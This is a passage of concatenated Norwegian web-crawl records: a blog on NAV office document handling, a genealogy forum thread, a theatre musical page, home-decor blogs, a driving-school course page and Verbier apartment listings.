landsforening, NTL NAV, har sendt henvendelse til Arbeids- og sosialdepartementet for \u00e5 avklare dette sp\u00f8rsm\u00e5let juridisk. Vi er uansett av den oppfatning at man selvsagt skal ta i mot dokumenter som er av betydning for en innbyggers sak n\u00e5r innbyggeren f\u00f8rst har tatt turen til NAV-kontoret. Man kan jo selv forestille seg det meningsl\u00f8se i \u00e5 m\u00f8te opp med etterspurte dokumenter, bli avvist og sendt hjem for \u00e5 skrive ut en f\u00f8rsteside og s\u00e5 til n\u00e6rmeste post i butikk for \u00e5 bruke porto p\u00e5 innsending. En del av innbyggerne finner det ogs\u00e5 tryggere \u00e5 levere dokumenter personlig, og de m\u00e5 vi ogs\u00e5 m\u00f8te med forst\u00e5else og respekt.\n\nNAV-kontorene praktiserer dette ulikt, noe som er problematisk i seg selv. Ansatte melder til oss tillitsvalgte at de f\u00f8ler seg b\u00e5de dumme og un\u00f8dvendig strenge overfor bes\u00f8kende og mange synes det er flaut og belastende \u00e5 m\u00e5tte fronte en slik praksis hver eneste dag. Noen har gitt uttrykk for at det blir flere frustrerte og sinte bes\u00f8kende, noe som g\u00e5r ut over arbeidsmilj\u00f8et,\u00bb skriver de bl.a.\n\n## NAVs fylkesdirekt\u00f8r: Tilgjengelighet er kvalitet p\u00e5 tjenestene\n\n    Publisert onsdag 03. januar 2018 10:14\n\n\n\nNAVs fylkesdirekt\u00f8r for Oslo, Hege Farnes Hildrum, svarer p\u00e5 mitt bloggoppslag forleden vedr\u00f8rende sviktende tilgjengelighet:\n\n\"Jeg kjenner meg ikke igjen i at vi er s\u00e6rskilt rigide, slik det hevdes fra de ansattes organisasjon, NTL. I hele endringsprosessen har vi lagt vekt p\u00e5 \u00e5 henvise til selvbetjente l\u00f8sninger, uten \u00e5 avvise brukere. NAV-kontorene i Oslo har \u00e5pent hver dag, og flere timer daglig enn i noe annet fylke.\n\nTilgjengelighet er mer og noe annet enn en \u00e5pen d\u00f8r. Tilgjengelighet er kvalitet p\u00e5 tjenester. Det er planlagte m\u00f8ter der den NAV-ansatte har rukket \u00e5 forberede seg. Det er at du snakker med en ansatt med god regelverkskompetanse n\u00e5r du har sp\u00f8rsm\u00e5l om ytelser. N\u00e5r det gjelder mottak av dokumenter er det et f\u00e5tall av v\u00e5re brukere som \u00f8nsker \u00e5 levere dette over disk. Sender du dokumenter digitalt er det b\u00e5de tryggere og raskere \u2013 og de digitale l\u00f8sningene har \u00e5pent hele d\u00f8gnet.\"\n\n    Publisert fredag 29. desember 2017 05:44\n\n\n\nOddny Miljeteig: \"Enn om det var sj\u00f8lve nissen som tigga utanfor Bryn kyrkje i B\u00e6rum julaftan?\"\n\n\"Eg forargar meg meir over biletet av nissen som verdas rikaste mann enn den tiggande nissen. Verdas rikaste mann \u2013 ein velferdsprofit\u00f8r, gjerne, med formua henta fr\u00e5 dunkle skatteparadis \u2013 skulle det vera nissen?\n\nNei takk\\! D\u00e5 heller ein tiggar med frynsete omd\u00f8me, lik s\u00e5 mange av dei Han omgav seg med, han som skulle bli f\u00f8dd seinare p\u00e5 julaftan, etter at alle vi kyrkjegjestane hadde g\u00e5tt heim, kvar til v\u00e5rt.... Og St. Niklas er b\u00e5de bornas, dei fattiges, tjuvar og fangar sin helgen. Mildt sagt ei salig blanding. Niklas gav avkall p\u00e5 \u00e5 vera ein rik mann.\n\nDet er krevjande at \u00abvi\u00bb ikkje berre kan teikna nissen i v\u00e5rt bilete. Men nissen st\u00e5r alts\u00e5 n\u00e6rare tiggaren enn den rike. Lik det eller ikkje. Det er b\u00e5de julaftans og romjulas bodskap.\n\nEg h\u00e5par du har ei gild romjul \u2013 og at du kanhende sender bornas, dei fattiges, tjuvar og fangar sin helgen ein tanke i det 2017 glader,\" skriver Oddny Miljeteig blant annet.\n\n", "language": "no", "__index_level_0__": "4a461f18-19b8-4aed-aa0c-0b62d4ddf2f3"}
{"url": "http://www.disnorge.no/slektsforum/viewtopic.php?p=336296&sid=93a8d3b8b4a457a5516b24a2d675ff92", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:24:51Z", "text": "Skrevet: 08 Apr 2009 20:17:10\u00a0\u00a0 \u00a0Tittel: s\u00f8ker informasjon om Karen Sivertsdatter f. ca 1790\n\n \n\n-----\n\nHei\\!  \n  \nS\u00f8ker etter informasjon om Karen Sivertsdatter, f. c. 1790, gift med Anund Andersen p\u00e5 g\u00e5rden Tanstad i N\u00f8tter\u00f8y.  \n  \nVi har lett i de kirkeb\u00f8ker som er tilgjengelig fra Digitalarkivet, og de som er publisert i Vestfold-slekt sine nettsider, men har ikke kunnet finne henne i registrene som d\u00f8pt, konfirmert eller gift.  \n  \nKaren og Anund fikk en s\u00f8nn i 1818 - Sivert Amundsen. Karen Sivertsdatter er der oppf\u00f8rt som mor.  \n  \nVi har funnet at Karen d\u00f8de p\u00e5 Tanstad g\u00e5rd 24.12 1859.  \n  \nHar noen opplysninger om Karen Sivertsdatter og hennes foreldre ?  \n  \nMvh Aslaug Slettvold\n\nHei Aslaug\\!  \nHei Aslaug  \n  \nJeg har funnet at Anund (Amund) Andersen og Karen Syvertsdatter ogs\u00e5 har datteren Rebekka f\u00f8dt i Stokke. f. 14. jan 1815  \n  \nOg hun finnes igjen som konf. p\u00e5 N\u00f8tter\u00f8y Som nr. 11 i 1830  \n  \nDette b\u00f8r vel ogs\u00e5 unders\u00f8kes litt n\u00e6rmere   \nLykke til\n\nSkrevet: 09 Apr 2009 00:21:55\u00a0\u00a0 \u00a0Tittel: Re: s\u00f8ker informasjon om Karen Sivertsdatter f. ca 1790\n\n \n\n-----\n\nAslaug ....  \n  \nI flg kirkeb\u00f8kene for Holmestrand finner jeg at Sivert Jacobsen\\`s datter er f. 25. nov 1791 og fikk navnet Karen Kirstine.  \n  \nVed FT er det nok som Anne Lisbeth skriver over her at Karen har blitt til Maren. Se d\u00e5pen til Karen Kirstine helt nederst p\u00e5 venstre side.  \n  \nMen det M\u00c5 ikke n\u00f8dvendigvis v\u00e6re den sammen Karen....\n\nJeg tyder det som om Ammund kommer fra Ti\u00f8me i Laurwigs ....  \nResten greier jeg ikke \u00e5 tyde. Men der er det sikkert andre som kan hjelpes med.......\n\nSkrevet: 09 Apr 2009 12:51:45\u00a0\u00a0 \u00a0Tittel: Re: s\u00f8ker informasjon om Karen Sivertsdatter f. ca 1790\n\n \n\n-----\nHei\\!  \n  \nTakker s\u00e5 mye for hjelpa\\! Dette er nok de rette folkene\\! tidspunktene passer i alle fall godt. N\u00e5 lurer jeg bare p\u00e5 hvorfor de giftet seg i Oslo, og s\u00e5 i domkirka   \n  \nJeg har som sagt lett lenge etter disse menneskene. Karen og Anun sin s\u00f8nn Sivert Anundsen er min tippoldefar. Han kom til Alstadhaug i Nordland for \"at gifte\" seg meg min tippoldemor Uldricha Hansdtr.  \n  \nMvh Aslaug\n\n\"Ammund Andersen Matros fra Ti\u00f8m\u00f8 i Laurwigs Grevskab og Karen Syvertsdatter. \u00c6gtev. i kirken efter vielses. ... af Hr. D. Garman\" - Jeg m\u00e5 melde pass p\u00e5 ett ord, men den siste setningen forteller kun om hvilken prest som forrettet vielsen.  \n  \nAt de giftet seg i domkirken, er det ikke noe mystisk ved. Den var (og er?) sognekirke for deler av Christiania/Oslo.  \n  \nAt dette er riktig vielse, er det knapt noen tvil om, men det mangler fremdeles \u00e5 bevise Karens opphav, eventuelt sannsynliggj\u00f8re det tilstrekkelig.\n\nHei\\!  \n  \nher er flere som er hekta-p\u00e5-slekta, men forsto ikke helt hva du mente.... var det \"v\u00e5r\" slekt, eller i omr\u00e5det ?  \n  \nmvh Aslaug\n\n  \nSkrevet: 10 Apr 2009 18:42:02\u00a0\u00a0 \u00a0Tittel: Re: s\u00f8ker informasjon om Karen Sivertsdatter f. ca 1790\n\n \n\n-----\n\nHei\\!  \n  \nja, vi syntes det var rart at to fra vestfold skulle gifte seg i Oslo domkirke, for s\u00e5 \u00e5 bosette seg i vestfold. Takker for tipset.  \n  \nVi har funnet en Karen Syvertsdatter f\u00f8dt i Oslo, 10 \u00e5r i folketellinga for 1801. Vi tror det er den rette.  \n  \nI kirkeboka med tittel \"Forlovererkl\u00e6ringer Oslo domkirke 1807-1819\" finner vi vielsen til Karen Syvertsdatter og Anun Andersen, med en lang utredning som vi bare delvis klarer \u00e5 tyde.  \n  \nKan noen hjelpe oss med det ?  \n  \nhttp://www.arkivverket.no/URN:kb\\_read?show=221\\&uid=157220\\&urnread\\_imag esize=full\\&hode=nei\\&ls=1  \n  \ni overnevnte kirkebok st\u00e5r det om vielsen p\u00e5 side 440-441, nede til h\u00f8yre.  \n  \nMvh Aslaug m/datter\n\n", "language": "no", "__index_level_0__": "af4a0305-8220-4f48-afcb-3dd8977df0d2"}
{"url": "https://trondelag-teater.no/forestillinger/var/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:40:14Z", "text": "Silje Storstein\nVigdis Knudsen Moe\n\n\u00a0\n**Musikere:**\n\n\u00c5smund Flaten / Kyrre Havdal *(kapellmester/piano)*  \nTrond Kopperud / Magnus Forsberg\u00a0*(trommer/perkusjon)*  \nKjetil Sandnes / Truls Waag\u00f8 *(elbass/kontrabass)*  \nStig F\u00f8rde Aarskog / Roger Over\u00e5 *(klarinett/bassklarinett)*  \nEspen Andersen / Kirsten Leidland *(tenortrombone/basstrombone)*  \nBergmund Waal Skaslien / Lars Marius Holl\u00e5s *(bratsj)*  \n\u00d8yvind Fj\u00f8rtoft Engen / Marit Asp\u00e5s *(cello)*\n\n### Magisk musikalfantasi\n\n**Visuelt sl\u00e5ende teater m\u00f8ter det tradisjonelle n\u00e5r fragmenter fra en rik musikalhistorie flettes sammen til en leken og poetisk forestilling.**\n\nEtt av byens aller sikreste v\u00e5rtegn er n\u00e5r Tr\u00f8ndelag Teater setter opp storstilt musikkteater.\n\nTeatret har nemlig en lang tradisjon for musikal, kabaret og operette, som strekker seg tilbake til teatrets begynnelse. Den aller f\u00f8rste moderne musikaloppsetningen ble iscenesatt i 1950, da *Annie Get Your Gun* hadde premiere. Fra denne forestillingen og frem til i dag har byens teater befestet seg som en av landets viktigste scener innen sjangeren.\n\nOg n\u00e5r forestillingen *V\u00e5r\\!* velter utover Hovedscenen i all sin prakt er det 65 \u00e5r med tradisjonsrik historie som danner bakteppet for et helt annerledes, men likevel gjenkjennbart, flettverk av h\u00f8ydepunkter.\n\nHer blir det et gjenh\u00f8r med b\u00e5de de store klassikerne og de sm\u00e5 skjulte perlene. *West Side Story, Jesus Christ Superstar, Hair, Les Mis\u00e9rables, My Fair Lady* og *B\u00f8r B\u00f8rson jr.* er bare noen av dem.\n\nTeatrets tydeligste og sterkeste scenekunstnere kaster seg n\u00e5 over st\u00f8rre og mindre bruddstykker fra en massiv katalog, for \u00e5 feire musikalteatertradisjonen p\u00e5 en verdig og nyskapende m\u00e5te. Hos regiss\u00f8r Erlend Samn\u00f8en, scenograf Signe Becker og lysdesigner Jesper Kongshaug er dette i de tryggeste hender.\n\nMed film som en del av det scenografiske uttrykket blir forestillingen en\u00a0koreografisk og visuell fantasi, der teaterleken suger publikum inn i et nett av historier, som sammen skaper en annerledes fortelling. En helt ny r\u00f8d tr\u00e5d, der\u00a0alt man kjenner brytes opp og gis en ny mening \u2013 en ny v\u00e5r\\!\n\n#### VARIGHET\n\nCa. 1 time 40 minutter. Spilles uten pause\n\n#### ANSVARLIGE\n\n**Regi og koreografi** Erlend Samn\u00f8en  \n**Scenografi og kostymer** Signe Becker  \n**Lysdesign** Jesper Kongshaug  \n**Videodesign** Marte Vold  \n**Musikalsk leder** \u00c5smund Flaten\n\nMedvirkende\n\u00c5smund Flaten / Kyrre Havdal *(kapellmester/piano)*  \nTrond Kopperud / Magnus Forsberg\u00a0*(trommer/perkusjon)*  \nKjetil Sandnes / Truls Waag\u00f8 *(elbass/kontrabass)*  \nStig F\u00f8rde Aarskog / Roger Over\u00e5 *(klarinett/bassklarinett)*  \nEspen Andersen / Kirsten Leidland *(tenortrombone/basstrombone)*  \nBergmund Waal Skaslien / Lars Marius Holl\u00e5s *(bratsj)*  \n\u00d8yvind Fj\u00f8rtoft Engen / Marit Asp\u00e5s *(cello)*\n\n\u2013 Regiss\u00f8r og koreograf Erlend Samn\u00f8en tar noen frekke og freske grep som viser at her leker man med de gamle musikalsuksesser  \n\u2013 L\u00e5ter fra musikalrepertoaret st\u00e5r i k\u00f8, valget mellom de mest kjente og de mindre kjente fungerer godt sammen og fremf\u00f8res av et utmerket ensemble og et orkester som formidler et vell av tilsvarende spenstige arrangementer  \n\u2013 Det kunne blitt en hitparade over stjernenumre, men dette er noe mer; en underholdende musikalvri som st\u00e5r helt greit p\u00e5 egne bein  \n*Borghild Maaland*  \n**VG**\n\n\u2013 Skjevt og sjarmerende  \n\u2013 Upretensi\u00f8s, underholdende musikalparade med gjennomg\u00e5ende kvalitet  \n\u2013 Musikkinnslagene er en fin blanding av sanger, fra humoristiske bagateller til fullt patos  \n\u2013 Orkesteret under ledelse av \u00c5smund Flaten er glimrende  \n*Ole Jacob Hoel*  \n**Adresseavisen**\n\n\u2013 Eksepsjonelt visuelt vakkert og nydelig musikk  \n\u2013 For det er fryktelig koselig med gjenh\u00f8r av s\u00e5 mange h\u00f8ydepunkter fra Tr\u00f8ndelag Teaters scene, s\u00e6rlig n\u00e5r det gj\u00f8res med et s\u00e5 st\u00f8dig og godt mannskap  \n\u2013 Eksepsjonelt flotte arrangementer gj\u00f8r det hele til en nydelig musikalsk reise  \n\u2013 Forestillingens utvilsomt best utbygde karakter, er teatrets gamle stjerne (Helle Ottesen). Med rullator og ust\u00f8 ben vakler hun rundt, etterlyser r\u00f8ykerom, og sjekker om publikum har glede av musikken og scenografien. For publikum er det morsomt bare hun trekker pusten  \n*Eva Hilde Murvold*  \n**Tr\u00f8nder-Avisa**\n\n# V\u00e5r\\!\n\n\n**Hovedscenen**  \n5.3.16 - 20.5.16\n\n**Ordin\u00e6r:** 425,-\n\n**Honn\u00f8r:** 350,-\n\n**Barn/Student:** 200,-\n\n**Grupper over 10:** 350,-\n\nVARIGHET\n\nCa. 1 time 40 minutter. Spilles uten pause\n\nANSVARLIGE\n\n**Regi og koreografi** Erlend Samn\u00f8en  \n**Scenografi og kostymer** Signe Becker  \n**Lysdesign** Jesper Kongshaug  \n**Videodesign** Marte Vold  \n**Musikalsk leder** \u00c5smund Flaten\n\n", "language": "no", "__index_level_0__": "02be8fa8-8561-4545-9078-0a6df001cb19"}
{"url": "http://refleksjon-sigrid.blogspot.com/2010/05/innekos.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:20:25Z", "text": " refleksjon (av lat., jf. reflektere). 1. Tilbakekasting (av lyd el. lys); avspeiling, gjenspeiling. 2. Ettertanke, overveielse. Gj\u00f8re seg sine refleksjoner, tenke sitt. fr\u00e5 www.caplex.no.\n\n## tirsdag 11. mai 2010\n\n### Innekos\n\n  \n\n**N\u00e5r v\u00e5ren let vente p\u00e5 seg..**  \n\n**Kva gjer ein d\u00e5?  \n**\n\n**D\u00e5 m\u00e5 ein pr\u00f8ve lage det koseleg inne..  \n**\n\n**P\u00e5 kj\u00f8kkenet har eg laga ei gruppe.  \n**\n\n**Engelen har eg f\u00e5tt med nabo Trude.  \n**\n\n**Avleggar av Fucsia er tatt **\n\n**fr\u00e5 morplante f\u00e5tt av RandiA.  \n**\n\n**Eva har g****itt meg Alpefiol og stein med skrifta:  \n**\n\n**\n\n**STOL P\u00c5 HERREN AV HELE DITT HJERTE****  \n**\n\n**\n\n**Det er godt med gode naboar og venner\\!\\!****  \n**\n\n**.............................................................................................  \n**\n\n*Akkurat no skin sola, men det er kaldt.****  \n***\n\n*F\u00f8r i dag sn\u00f8a det.**  \n*\n\n*Ein f\u00e5r ta det med godt hum\u00f8r :-)  \n*\n\ntirsdag, mai 11, 2010           \n\n#### 5 kommentarer:\n\n1.  \n    \n    Randimai 11, 2010\n    \n    S\u00e5 fin ei lita samling du har laga deg der. Kjekt \u00e5 kunne plante litt inne medan ein ventar p\u00e5 varmen ute. Sol her og i dag, men absolutt ingen varme... Men, det kjem vel det og til slutt... Ha ein fine kveld.  \n    Klem\n    \n2.  \n    \n    Malys krokmai 11, 2010\n    \n    Ja \u00e5 ha gode naboer og venner er godt\\! Dine har virkelig vist at de er venner\\! Fint det du her har satt sammen\\! S\u00e5 koselig med den steinen\\!  \n      \n    Jeg leste det du skrev om i forrige innlegg, men fikk ikke tid \u00e5 skrive da. Sterk lesing\\! S\u00e5 trist \u00e5 miste moren p\u00e5 en slik m\u00e5te\\! Selvf\u00f8lgelig er det verst \u00e5 miste sine kj\u00e6re n\u00e5r en er barn, men likevel- sorg og savn vil alltid f\u00f8lge i d\u00f8dens fotspor. Godt vi har en \u00e5 g\u00e5 til, en som forst\u00e5r og gir kraft og styrke\\! Takk for dine fine innlegg og koselige kommentarer\\! -Margit-\n    \n3.  \n    \n    Villmarkstausamai 12, 2010\n    \n    Hyggelig \u00e5 pynte litt;-)  \n    Gode venner er gull...  \n    God langhelg\\!\n    \n4.  \n    \n    Elin med Draumesidenemai 12, 2010\n    \n    Hei\\! No har det ikkje sn\u00f8va p\u00e5 fleire dagar\\! :))) Optimistisk eg veit du\\! Har g\u00e5tt ei mil i dag, og det var kaldt. Skulle ynskje at vi snart fekk varmen i oss? Men vi har i alle fall noko \u00e5 snakke og skrive om\\! ;)  \n      \n    Kjempefine blomar du har f\u00e5tt\\! Eg pr\u00f8ver ogs\u00e5 \u00e5 lage til v\u00e5r og sommar inne\\!  \n      \n    Ha nokre fine dagar Sigrid\\!  \n    Klem fr\u00e5 Elin :)\n    \n5.  \n    \n    Solveigmai 13, 2010\n    \n    Gode venner kan varme like godt som sola:o) Ja, det er ikke noe temperatur \u00e5 snakke om i noen kant av landet. H\u00e5per det snur snart. Her blir det ogs\u00e5 inneliv i dag, er blitt s\u00e5 inderlig forkj\u00f8la at utelivet f\u00e5r vente p\u00e5 seg et par dager.  \n    \u00d8nsker deg en flott langhelg og fin 17 mai.  \n    Klem fra Solveig\n    \nKoseleg med ein kommentar ;-)  \n(m\u00e5tte diverre stenge for anonyme d\u00e5 det kom s\u00e5 masse spam)  \n  \n\n    \n\n## PLAKAT P\u00c5 BARNEROMMET MITT:\n\n  \nJeg vil l\u00e6re deg og vise deg den vei du skal vandre; jeg vil gi deg r\u00e5d med mitt \u00f8ye. Salme 32,8\n\n    \n\n## Litt om meg:\n\n\n\n  - Refleksjon p\u00e5 livsvegen  \n    Sunnm\u00f8ring , Norway\n    Sigrid er namnet mitt. Glad i livet og dei rundt meg. \u2665 Glad for \u00e5 vere skapt p\u00e5 underfullt vis og at eg har ein Frelsar\\!\n\n## TIL DEG:\n**\"Ver ikkje redd, for eg er med deg\\! **\n\n**for eg er din Gud\\!\"**\n\n**Jes 41,10 a**\n\n  - Mellom himmel og jordb\u00e6r\n  - November er s\u00e5 trist...\n\n\n  \n## S\u00e5 mange har sett innom sidan 9.aug 2009:\n\n## Takk til Britaiskogen og Ramme Alvor :\n  \nAwarden er laga av Hulda\n\n    \n\n## Takk til Mitt eige solsystem og Lokki\n\n  \n", "language": "nn", "__index_level_0__": "eab30c70-fe2e-4d2f-9285-97378748604a"}
{"url": "http://tsolbakken.no/kurs/lastsikring", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:20:49Z", "text": "# Lastsikringskurs\n\nV\u00e5r trafikkskole arrangerer lastsikringskurs i Bergen og \u00c5sane. Lastsikringskurs er obligatorisk for deg som \u00f8nsker \u00e5 ta sertifikat p\u00e5 henger, traktor og flere andre kj\u00f8ret\u00f8y.\n\n## Oppstart for lastsikringskurs\n\n### Omr\u00e5de: Bergen\n\n|  | Lastsikringskurs 7.juni   | Bestill |\n\nM\u00e5let med kurset er at du skal forst\u00e5 behovet for \u00e5 sikre og merke last, samt f\u00e5 n\u00f8dvendig \u00f8ving i \u00e5 sikre last p\u00e5 tilhenger. Du skal l\u00e6re hvilke krav som stilles til lastsikring, f\u00e5 kjennskap til sikringsutstyret og \u00e5 velge det riktige utstyret.\n\n## Lastsikringskurs\n\nLastsikringskurs er obligatorisk for klassene BE og B96. For \u00e5 kunne utvide f\u00f8rerkort klasse B til B96 eller BE m\u00e5 du i tillegg til minst 5 kj\u00f8retimer ogs\u00e5 ha et kurs p\u00e5 2 timer som handler om sikring og merking av last (lastsikringskurs). Lastsikringskurset kan du ta underveis i oppl\u00e6ringen.\n\nM\u00e5let med kurset er at du skal forst\u00e5 behovet for \u00e5 sikre og merke last, samt f\u00e5 n\u00f8dvendig \u00f8ving i \u00e5 sikre last p\u00e5 tilhenger. Du skal l\u00e6re hvilke krav som stilles til lastsikring, f\u00e5 kjennskap til sikringsutstyret og \u00e5 velge det riktige utstyret. Du skal ogs\u00e5 \u00f8ve p\u00e5 forsvarlig sikring av ulike typer last.\n\nKurset er delt opp i to, hvorav 45 minutter best\u00e5r av teori og gjennomgang av lover og regler, og 45 minutter best\u00e5r av praktisk sikring av last.\n\n**I den praktiske delen skal du \u00f8ve p\u00e5 \u00e5:**\n\n  - plassere, sikre og merke lang last\n  - plassere og sikre et kolli tilsvarende pallekasse\n  - plassere og sikre annen last som rundballe eller storsekk\n\n  \n\nDu skal ogs\u00e5 l\u00e6re om ulike typer sikringsutstyr, og konsekvensen ved feil/utelatt sikring av gods. Du f\u00e5r oppleve demonstrasjon av usikret last, og bli bevisst viktigheten av at all last m\u00e5 sikres.\n\n## Hvor mye kan du og bilen trekke?\n\nSe Statens vegvesen sin tilhengerkalkulator.\n", "language": "no", "__index_level_0__": "11391b69-b6db-46bc-ba1a-4087bd8174b8"}
{"url": "http://jordbarpiken.blogspot.com/2009/06/her-om-dagen-var-jeg-pa-emmas-verden.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:34:33Z", "text": "## s\u00f8ndag 7. juni 2009\n\n### Koselig kurv\n\nHer om dagen var jeg p\u00e5 Emmas Verden (igjen) for \u00e5 kj\u00f8pe bursdagsgave til en god venninne som skulle feire. Hun har bloggen Et kj\u00e6rt hjem, vel verdt mange bes\u00f8k\\! Vi hadde en kjempekoselig kveld der p\u00e5 fredag med venninnegjengen. Tusen takk, Ane\\! H\u00e5per \u00e5 komme snart igjen.\n\nP\u00e5 Emmas Verden kj\u00f8pte jeg bl.a. denne koselige kurven fra Bloomingville by TrendKompagniet. (Edit: Kj\u00f8pte dette til meg selv) N\u00e5 henger den til pynt p\u00e5 kj\u00f8kkenet med en pyntestein fra \u00c5hlens oppi. Kjempeforn\u00f8yd\\!\u00a0\n\n  \nI dag har vi v\u00e6rt sammen med gode venner hele dagen. Det har v\u00e6rt litt kj\u00f8lig her i det siste med kald vind og hagl\\! Men n\u00e5 har sola kommet fram, s\u00e5 da er det bare \u00e5 h\u00e5pe p\u00e5 at det varer\\! I kveld er mannen ute med kameratene sine og spiller frisbeegolf. Han har leid en skikkelig jentefilm til meg som jeg kan kose meg med. \"Bruder i krig\". Noen som har sett den? Jeg skal kose meg skikkelig med sm\u00e5godt fra Mix (hurra\\!). Ha en s\u00f8t kveld. :)  \n\n  \n\n  \n\n Lagt inn av Hilde Hanken   kl. 19:34           \n\n#### 10 kommentarer:\n\n\n\n\n\nmi-rachel sa...\n\nsm\u00e5godt fra mix....h\u00f8rtes utrolig digg ut. n\u00e5 er det bare 2 uker igjen av den kjedelige snopeavtalen min.  \nda skal det spises sm\u00e5godt.  \n  \nog ja... du gjettet riktig:)\n\n 7. juni 2009 kl. 20:30    \n\n\n\n\n\nmi-rachel sa...\n\nvurderer en harrytur bare for \u00e5 hamstre inn godstoff\\! :)\n\n 7. juni 2009 kl. 20:51    \n\n\n\n\n\nKristinmor sa...\n\nS\u00e5 koselig kurv og stein. Hadde blitt veldig glad for en s\u00e5nn gave:) Ps\\! Det varmer veldig med alle kommentarene du legger igjen hos meg:)\n\n 7. juni 2009 kl. 21:00    \n\n \n\nperler p\u00e5 en snor sa...\n\nHeisann du m\u00e5 kose deg i kveld da:)  \n\\-Hvordan f\u00e5r du forresten hjerter i teksten?\n\n 7. juni 2009 kl. 22:41    \n\n\n\n\n\nHavets Datter sa...\n\nH\u00f8res ut som en herlig kveld\\!\\! KOs deg med filmen..og godisen selvf\u00f8lgelig ;o)\n\n 8. juni 2009 kl. 01:16    \n\n \n\nJane sa...\n\nFlott kurv du har der.. Er det det som kalles \"fantearbeid?\" Leste en reportasje i et blad en gang om at noen fanter f\u00f8r i tiden dro omkring og lagde slike kurver etc i ulike fasonger. Det de lagde ble solgt eller byttet mot kost og losji. Men dette vet du kanskje alt fra f\u00f8r.\n\n 8. juni 2009 kl. 08:27    \n\n\n\n\n\nMerete sa...\n\nH\u00f8res ut som en bra kveld. Har ikke sett filmen, du kan jo kanskje fortelle om den var noe s\u00e6rlig? :)  \nNam-nam. Er enig i at sm\u00e5godt fra Mix er en vinner\\!  \nKurven er utrolig koselig, steinen ogs\u00e5. Jeg har to av de steinene - en jeg har f\u00e5tt av min datter og en jeg har f\u00e5tt av min mann. Forel\u00f8pig ligger de bare p\u00e5 nattbordet da jeg ikke har funnet noe lurt sted \u00e5 legge de.. Hm.\n\nKlem Anette:)\n\n 8. juni 2009 kl. 21:54    \n\n\n\n\n\nThe Lavendar Room sa...\n\nSnille mann du har som leie film til deg, og bra valg og jo\\! (Har lyst \u00e5 se den selv)  \nKorgen er skj\u00f8nne, og det va steinene og\\! Er alltid kjekt \u00e5 kj\u00f8pe en liten gave til seg selv, eller det er vel til hjemmet, s\u00e5 det er vel egentlig til ALLE (pleie jeg \u00e5 si n\u00e5r jeg skal forsvare nye innkj\u00f8p;)  \n  \nTusen takk for utfordringen, kejkt \u00e5 lese din, og bli bedre kjent med dere bloggladies:)  \n  \nHa en fin dag,  \nKlem Julie\n\n 9. juni 2009 kl. 08:28    \n\n\n\n\n\nHavets Datter sa...\n\nS\u00e5 koselig at du vil bli med p\u00e5 konkurransen min :o)  \nHa en fin kveld\\!  \n  \nKarina\n\n 9. juni 2009 kl. 22:19    \n\n", "language": "no", "__index_level_0__": "26129730-e7c5-49a5-a744-3c00a5c40a8f"}
{"url": "http://booking.sportreiser.no/no/overnatting/a666569/leilighet-for-opp-til-4-personer-med-2-rom-p%C3%A5-beausoleil-v/detaljer", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:26:58Z", "text": "# Leilighet for opp til 4 personer med 2 rom p\u00e5 Beausoleil - Verbier\n\\-Gratis skibuss til skidistrikt M\u00e9dran 1.6 km, Savoleyres 2.1 km og Carrefour 4 km.  \n  \n\"Beausoleil\" er et leilighetshus som ligger i distriktet Cr\u00e9taz Co i utkanten, cirka 1.2 km fra sentrum av Verbier.  \n  \nN\u00e6rmeste supermarked ligger 900 m unna, butikk, bar og restaurant 1.2 km, sportssenter 300 m, stolheis 4 km, gondolheis 2.1 km, ski-anlegg 1.6 km og skibussholdeplass 50 m.  \n  \nVelkommen til et hyggelig opphold p\u00e5 Beausoleil i Verbier\\!  \n  \n### Leilighet for opp til 4 personer med 1 rom p\u00e5 Ortolan - Verbier\n\nP\u00e5 Ortolan tilbys en ettromsleilighet p\u00e5 42 m2 beliggende p\u00e5 bakkeplan. Leiligheten er romslig, komfortabelt og vakkert m\u00f8blert og best\u00e5r av en stor stue/spisestue med 2 doble sovesofaer, TV, radio og CD-spiller, samt en kj\u00f8kkenkrok (ovn, oppvaskmaskin) og et bad med dusj og toalett. Merk: R\u00f8ykfri leilighet. Leilighetshuset Ortolan har 3 etasjer og ligger i utkanten av Verbier, 800 m fra sentrum. Viktige avstander: offentlig parkering 150 m, butikk, dagligvarehandel 400 m, restaurant 300 m, bussholdeplass 50 m, idrettssenter 150 m, skisportanlegg 1 km. Velkommen til Verbier og Ortolan\\! Kilde: Interhome\n\n \n\n### Leilighet for opp til 6 personer med 4 rom p\u00e5 Tourtereaux - Verbier\n\nI leilighetshuset Tourtereaux tilbys en 4-roms leilighet p\u00e5 100 m2. Leiligheten ligger p\u00e5 bakkeplan og er romslig, praktisk og vakkert m\u00f8blert. I leiligheten finner du en stue/spisestue med \u00e5pen peis, TV og DVD-spiller, samt utgangsd\u00f8r til terrassen. Videre er det 1 rom med, 1 dobbeltseng og eget bad, 2 rom med 2 senger. Det er ogs\u00e5 et kj\u00f8kken med komfyr og oppvaskmaskin samt et bad med dusj og toalett. Leiligheten har ogs\u00e5 en stor m\u00f8blert terrasse p\u00e5 25 m2 med en vakker utsikt og en egen parkeringsplass. Merk: R\u00f8ykfritt. Tourtereaux er et lite leilighetshus med 3 etasjer som ligger stille og rolig til i utkanten av Verbier, ca 1 km fra sentrum. Senget\u00f8yskift foretas ukentlig for de som \u00f8nsker dette (ekstra kostnad tilkommer), og en daglig romrengj\u00f8ring kan ogs\u00e5 f\u00e5s p\u00e5 foresp\u00f8rsel (ekstra kostnad tilkommer). Viktige avstander: Butikk og restaurant 600 m, bakeri 1 km, bussholdeplass 30 m, gondolheis 1.5 km, skisportanlegg 1.5 km. Merk: skibussen som stopper 30 m fra hust tar deg gratis til og fra skisportsanlegget. Hjertelig velkommen til en herlig ferie i Verbier\\! Kilde: 